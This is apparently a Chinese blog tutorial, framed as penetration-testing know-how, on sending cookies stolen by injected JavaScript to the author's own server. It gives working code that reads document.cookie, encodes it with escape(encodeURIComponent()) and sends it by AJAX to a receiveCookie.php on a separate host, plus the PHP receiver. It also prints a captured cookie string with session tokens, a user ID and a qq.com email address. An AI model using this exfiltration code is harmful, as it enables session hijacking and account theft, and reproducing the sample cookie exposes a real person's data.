Php提交包含特殊字符的参数的方法

在渗透的过程中，可以在网页中插入JS代码来获取cookie ：document.cookie

那么获取到的cookie如何传到我们自己的服务器呢？

在这里，我使用的是AJAX技术。但是Ajax有一个跨域的问题，所以需要再http头部再进行设置。这里主要讲cookie的提交。

先看一段JS代码：

xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+document.cookie,true);

这里将从网页获取到的cookie提交到receiveCookie.php上，其中cookie有一部分是这样的：

ULV=1450275143055:1:1:1:182.138.174.191_1450275139.121259:;SGUID=1450275146558_35957829; vjuids=-37098b091.151ab228f90.0.920dc7c7;vjlast=1450275148;SUP=cv%3D1%26bt%3D1450275168%26et%3D1450361568%26d%3D40c3%26i%3D2611%26us%3D1%26vf%3D0%26vt%3D0%26ac%3D2%26st%3D0%26lt%3D1%26uid%3D2277147785%26user%3D493354115%2540qq.com%26ag%3D4%26name%3D493354115%2540qq.com%26nick%3D%25E7%25BB%25BF%25E8%258C%25B66888%26sex%3D1%26ps%3D0%26email%3D%26dob%3D%26ln%3D493354115%2540qq.com%26os%3D%26fmp%3D%26lcp%3D;SUBP=0033WrSXqPxfM725Ws9jqgMF55529P9D9W5o5Vidv35CH47We9hTzl.1; ALF=1481811169;

那么提交的过程中遇到特殊字符"%","&"等，就会自动解析，导致传参数错误。

解决的办法是：

var cookie = document.cookie;

cookie = escape(encodeURIComponent(cookie));

xmlhttp.open("GET","http://192.168.17.63/HelloPhp/receiveCookie.php?cookie="+cookie,true);

在receiveCookie.php接收即可：

$cookie = $_GET["cookie"];

$cookie = (urldecode($cookie));